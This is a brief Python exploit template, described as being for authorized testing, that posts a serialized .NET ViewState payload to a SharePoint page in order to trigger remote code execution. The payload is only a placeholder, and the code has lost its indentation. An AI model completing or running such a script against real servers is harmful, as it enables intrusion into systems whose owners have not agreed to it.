The following code is for security research and authorized testing only.
python
import requests
import base64
# Target URL (Example)
target_url = "http://vulnerable-sharepoint/Pages/default.aspx"
# Disclaimer: This is a generic template for demonstration purposes.
# Real exploitation requires specific gadget chains and payload generation tools (e.g., ysoserial.net).
# Example of a ViewState payload structure (Conceptual)
# In a real attack, this payload would contain a serialized .NET object gadget chain.
malicious_payload = "<base64_encoded_serialized_object>"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Content-Type": "application/x-www-form-urlencoded"
}
# Data to be sent, often mimicking a legitimate ViewState parameter
# The specific parameter name depends on the SharePoint configuration and endpoint
data = {
"__VIEWSTATE": malicious_payload,
"__VIEWSTATEGENERATOR": "CA0B0334"
}
try:
print("[*] Sending payload to target...")
response = requests.post(target_url, data=data, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Request sent successfully. Check the target for code execution.")
else:
print(f"[-] Server returned status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[!] An error occurred: {e}")